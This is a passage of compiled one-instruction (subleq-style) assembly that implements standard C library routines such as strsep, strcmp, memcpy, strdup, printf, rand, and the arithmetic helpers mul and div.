t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_atoi
end_atoi:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strsep:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c24 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; dec t3; t3 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t2; t1 Z; Z t2; Z; c5 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l53
ax; c5 ax
Z Z end_strsep
l53:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c24 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l54:
t3; dec Z; Z t3 ?+3; Z Z ?+9; Z; dec t3; dec t3
Z t3 l56
t1; t2; bp t1; dec t1; t1 t2
t1; t4; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t4
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t1
t4; t2; bp t4; c7 t4; t4 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l57:
t1; t2; bp t1; c25 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2 ?+3; Z Z ?+9; Z; t3 t2; t3 t2
Z t2 l58
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; c25 t3; t3 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t2; t3; bp t2; c7 t2; t2 t3
t2; t4; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t4
t3; t1 Z; Z t3; Z; t4 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l61
t2; t1; bp t2; c7 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; Z t3 ?+3; Z Z ?+9
t3 Z ?+3; Z Z ?+3; inc t1
Z t1 l59
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c5 Z; Z 0; Z
Z Z l60
l59:
t2; t1; bp t2; dec t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; t3 t1; inc t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l60:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c24 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_strsep
l61:
Z Z l57
l58:
l55:
Z Z l54
l56:
ax; c5 ax
Z Z end_strsep
end_strsep:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strrchr:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c5 Z; Z 0; Z
l62:
t2; dec Z; Z t2 ?+3; Z Z ?+9; Z; dec t2; dec t2
Z t2 l64
t4; t3; bp t4; c1 t4; t4 t3
t4; t1; ?+11; t3 Z; Z ?+4; Z; 0 t4; t4 t1
t3; t4; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t4
t1; t3; bp t1; c6 t1; t1 t3
t1; t5; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t5
t3; t4 Z; Z t3; Z; t5 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l65
t3; t1; bp t3; c1 t3; t3 t1
t3; t4; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t4
t1; t3; bp t1; dec t1; t1 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t4 Z; Z 0; Z
l65:
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t2
t4; t2 Z; Z t4; Z; c3 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
Z t4 l66
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_strrchr
l66:
l63:
t1; t3; bp t1; c1 t1; t1 t3
t3 Z; ?+9; Z ?+5; Z; inc 0
Z Z l62
l64:
end_strrchr:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strcmp:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
l67:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; c2 t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2; t3; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t3
t4; t1 Z; Z t4; Z; t3 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
Z t4 l69
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c3 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l70
ax; c3 ax
Z Z end_strcmp
l70:
l68:
t3; t1; bp t3; c1 t3; t3 t1
t1 Z; ?+9; Z ?+5; Z; inc 0
t1; t3; bp t1; c2 t1; t1 t3
t3 Z; ?+9; Z ?+5; Z; inc 0
Z Z l67
l69:
ax; dec ax
Z Z end_strcmp
end_strcmp:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_memcpy:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l71:
t1; t4; bp t1; c21 t1; t1 t4
t1; t2; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t2
t4 Z; ?+9; Z ?+5; Z; dec 0
t4; t2 Z; Z t4 ?+3; Z Z ?+9; Z; t2 t4; t2 t4
Z t4 l72
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; dec t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2 Z; ?+9; Z ?+5; Z; inc 0
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
Z Z l71
l72:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_memcpy
end_memcpy:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strdup:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c26 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _strlen; . ?;
t3; ax t3
c1 sp
t2; t1; t3 t2; dec t2; t2 t1
t2; t3; bp t2; dec t2; t2 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t2; bp t3; c1 t3; t3 t2
t3; t1; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _memcpy; . ?;
c21 sp
t1; t2; bp t1; c6 t1; t1 t2
ax; t2 ax
Z Z end_strdup
end_strdup:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_printf:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t6 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t7 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l73:
t2; t1; bp t2; c1 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t2
t3; t2 Z; Z t3 ?+3; Z Z ?+9; Z; t2 t3; t2 t3
Z t3 l75
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; c27 t3 ?+3; Z Z ?+15
Z; t3 Z ?+9; Z; t3; inc t3
Z t3 l76
t1; t2; bp t1; c1 t1; t1 t2
t1; t4; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t4
t2; t1; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t1
t1 (-1)
Z Z l74
l76:
t1; t2; bp t1; c1 t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
t7; t4; bp t7; c1 t7; t7 t4
t7; t2; ?+11; t4 Z; Z ?+4; Z; 0 t7; t7 t2
t4; t7; ?+11; t2 Z; Z ?+4; Z; 0 t4; t4 t7
t2; t7 Z; Z t2; Z; c27 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l83
c27 (-1)
Z Z l84
l83:
t4; t2; bp t4; c1 t4; t4 t2
t4; t7; ?+11; t2 Z; Z ?+4; Z; 0 t4; t4 t7
t2; t4; ?+11; t7 Z; Z ?+4; Z; 0 t2; t2 t4
t7; t4 Z; Z t7; Z; c31 t7 ?+3
t7 t7 ?+9; t7 Z ?+3; Z Z ?+3; inc t7
Z t7 l81
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; bp t1; dec t1; t1 t3
t3 Z; ?+9; Z ?+5; Z; inc 0
t1; t4; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t4
t3; t2 Z; Z t3; Z; t4 t3
t4; t2; ?+11; t3 Z; Z ?+4; Z; 0 t4; t4 t2
t2 (-1)
Z Z l82
l81:
t2; t7; bp t2; c1 t2; t2 t7
t2; t4; ?+11; t7 Z; Z ?+4; Z; 0 t2; t2 t4
t7; t2; ?+11; t4 Z; Z ?+4; Z; 0 t7; t7 t2
t4; t2 Z; Z t4; Z; c30 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
Z t4 l79
t2; t3; bp t2; c1 t2; t2 t3
t2; t4; bp t2; dec t2; t2 t4
t4 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t1
t4; t3 Z; Z t4; Z; t1 t4
t1; t3; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _puts; . ?;
c1 sp
Z Z l80
l79:
t2; t5; bp t2; c1 t2; t2 t5
t2; t4; ?+11; t5 Z; Z ?+4; Z; 0 t2; t2 t4
t5; t2; ?+11; t4 Z; Z ?+4; Z; 0 t5; t5 t2
t4; t2 Z; Z t4; Z; c28 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
t2; inc t2; Z t4 ?+3; Z Z l77
t5; t6; bp t5; c1 t5; t5 t6
t5; t7; ?+11; t6 Z; Z ?+4; Z; 0 t5; t5 t7
t6; t5; ?+11; t7 Z; Z ?+4; Z; 0 t6; t6 t5
t7; t5 Z; Z t7; Z; c29 t7 ?+3
t7 t7 ?+9; t7 Z ?+3; Z Z ?+3; inc t7
Z t7 ?+3; Z Z l77; t2;
l77:
Z t2 l78
t4; t1; bp t4; c1 t4; t4 t1
t4; t2; bp t4; dec t4; t4 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
t4; t5; ?+11; t2 Z; Z ?+4; Z; 0 t4; t4 t5
t2; t1 Z; Z t2; Z; t5 t2
t5; t1; ?+11; t2 Z; Z ?+4; Z; 0 t5; t5 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __putint; . ?;
c1 sp
l78:
l80:
l82:
l84:
l74:
t2; t1; bp t2; c1 t2; t2 t1
t1 Z; ?+9; Z ?+5; Z; inc 0
Z Z l73
l75:
?+8; sp ?+4; t7; 0 t7; inc sp
?+8; sp ?+4; t6; 0 t6; inc sp
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
. _randlast:0
_rand:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c32 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; _randlast Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __mul; . ?;
t1; ax t1
c2 sp
t2; t3; t1 t2; c33 t2; t2 t3
_randlast; t3 Z; Z _randlast; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c34 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c35 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; _randlast Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __div; . ?;
t1; ax t1
c2 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __mod; . ?;
t1; ax t1
c2 sp
ax; t1 ax
Z Z end_rand
end_rand:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_srand:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
_randlast; t3 Z; Z _randlast; Z
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_add:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; t3 t1; t4 t1; t1 t2
ax; t2 ax
Z Z end_add
end_add:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_sub:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
ax; t1 ax
Z Z end_sub
end_sub:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_mul:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l85:
t2; t1; bp t2; c6 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; bp t1; c1 t1; t1 t2
t1; t4; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t4
t2; t4 Z; Z t2; Z; t3 t2
Z t2 l87
t3; t4; bp t3; c2 t3; t3 t4
t3; t1; ?+11; t4 Z; Z ?+4; Z; 0 t3; t3 t1
t4; t3; bp t4; dec t4; t4 t3
?+15; t3 Z; Z ?+8; Z
t1 Z; Z 0; Z
l86:
t4; t3; bp t4; c6 t4; t4 t3
t3 Z; ?+9; Z ?+5; Z; inc 0
Z Z l85
l87:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_mul
end_mul:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_div:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l88:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
Z t1 l89
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
t4; t3; bp t4; c1 t4; t4 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
Z Z l88
l89:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_div
end_div:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
